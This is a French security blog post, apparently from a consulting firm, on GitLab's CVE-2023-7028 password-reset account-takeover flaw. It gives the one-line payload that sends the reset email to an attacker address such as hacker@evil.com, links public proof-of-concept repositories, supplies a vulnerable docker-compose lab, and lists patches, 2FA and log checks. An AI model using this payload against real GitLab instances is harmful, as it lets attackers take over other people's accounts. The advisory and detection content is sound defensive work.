# Compromettre des comptes Gitlab avec la vulnérabilité CVE-2023-7028


# 😮 Exposer GitLab publiquement en 2024 : trop dangereux ?

<br>
<br>

Est ce que exposer son propre Gitlab est une bonne pratique de sécurité ? Et bien vous allez voir que **non**.

2024 commence fort et donne encore de bonnes raisons de **ne pas exposer ce service sur Internet** (mais plutôt de l'héberger derrière un VPN).

## Un début d'année sous haute tension

Le 11 janvier 2024, GitLab, la célèbre plateforme communautaire, a publié une annonce importante concernant les nouvelles versions `16.7.2, 16.6.4 et 16.5.6` pour GitLab Community Edition (CE) et Enterprise Edition (EE).

Deux vulnérabilités sont expliquées :

1. La vulnérabilité **CVE-2023-7028** 
    - CVSS de 10/10 😮
    - Elle permet la prise de contrôle d'un compte via la réinitialisation du mot de passe sans interaction de l'utilisateur.

2. La vulnérabilité **CVE-2023-5356** 
    - CVSS de 9.6/10 😟
    - Elle permet à un utilisateur d'abuser des intégrations Slack/Mattermost pour exécuter des commandes slash en tant qu'autre utilisateur.

## En bref

La vulnérabilité la plus problématique est la première : la **CVE-2023-7028**.

Loin d'être inoffensive, elle est très problématique :

- Elle permet de réinitialiser le mot de passe de n'importe quel utilisateur.
- La vulnérabilité est exploitable sans compte.
- Il est nécessaire de connaitre le mail de la victime.
- La charge tient en une ligne : `user[email][]=my.target@example.com&user[email][]=hacker@evil.com`

La deuxième vulnérabilité est tout aussi grave mais moins facilement exploitable.

## Exploitation

Pour exploiter cette vulnérabilité, le PoC est vraiment très simple :

```
user[email][]=valid@email.com&user[email][]=attacker@email.com
```

- `valid@email.com` est l'adresse de la victime
- `attacker@email.com` est l'adresse de l'attaquant

Une confusion est effectuée par GitLab rendant la possibilité à un attaquant d'écraser le mail de la victime par le sien 😮 !

Plus précisément, une modification a été apportée à la version `16.1.0` afin de permettre aux utilisateurs de réinitialiser leur mot de passe à l'aide d'une adresse électronique secondaire. La vulnérabilité résulte d'un bug dans le processus de vérification des email.

👉 Plus de détails sur le blog de GitLab : https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions


## Actions recommandées

Gitlab recommande les actions suivantes : 

1️⃣  **Mise à jour immédiate** : il est fortement conseillé de mettre à jour Gitlab vers la dernière version corrigée. Pour les utilisateurs n'ayant pas encore effectué de mise à jour, GitLab recommande de passer directement aux versions `16.7.3, 16.6.5, 16.5.7` ou ultérieures.

2️⃣ **Activer l'authentification à deux facteurs (2FA)**: GitLab conseille d'activer le 2FA pour tous les comptes. Cette sécurité empêche l'utilisation de cette vulnérabilité.

3️⃣ **Vérification de l'intégrité** : il est conseillé aux clients auto-gérés d'examiner leurs logs afin détecter toute tentative d'exploitation de ces vulnérabilités.

Exemple :

- Consulter le fichier `gitlab-rails/production_json.log` afin de vérifier qu'aucune requête pointant vers la route `/users/password` ne contienne **plusieurs adresses emails**.
- Consulter le fichier `gitlab-rails/audit_json.log` afin de vérifier que le champ `meta.caller_id` de `PasswordsController#create` et `target_details` ne contiennent pas **plusieurs adresses emails**.

## Automatisation

De nombreux PoC sont disponibles sur Internet permettant d'automatiser la vulnérabilité :

- Fait par un français talentueux : https://github.com/Vozec/CVE-2023-7028
- https://github.com/V1lu0/CVE-2023-7028

## Docker vulnérable

Pour les plus curieux, vous trouverez ci-dessous un docker compose vulnérable pour pratiquer cette vulnérabilité

```yaml
version: '3.6'
services:
  gitlab:
    image: 'gitlab/gitlab-ce:16.1.4-ce.0'
    restart: always
    hostname: 'gitlab.domain.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://gitlab.domain.com'
        gitlab_rails['smtp_enable'] = true
        gitlab_rails['smtp_address'] = "smtp_address"
        gitlab_rails['smtp_port'] = 587
        gitlab_rails['smtp_user_name'] = "smtp_user_name"
        gitlab_rails['smtp_password'] = "smtp_password"
        gitlab_rails['smtp_domain'] = "domain.com"
        gitlab_rails['smtp_authentication'] = "login"
        gitlab_rails['smtp_enable_starttls_auto'] = true
    ports:
      - '80:80'
      - '443:443'
      - '22:22'
    volumes:
      - './gitlab/config:/etc/gitlab'
      - './gitlab/logs:/var/log/gitlab'
      - './gitlab/data:/var/opt/gitlab'
```

Disponible sur le GitHub de Trackflaw : https://github.com/Trackflaw/CVE-2023-7028-Docker

## Démonstration

Petite démonstration ci-dessous pour présenter l'exploitation de la vulnérabilité :

<video src="/images/compromettre-comptes-Gitlab-avec-CVE-2023-7028/exploit.mp4" controls autoplay loop title="Exploitation de Gitlab avec la vulnérabilité CVE-2023-7028" style="width:100%"></video>

🙏 Patchez rapidement. Trackflaw est la pour vous aider dans cette tâche. Prenez contact avec nous sur https://trackflaw.com ou par email contact (@) trackflaw.com

## Sources

- https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions

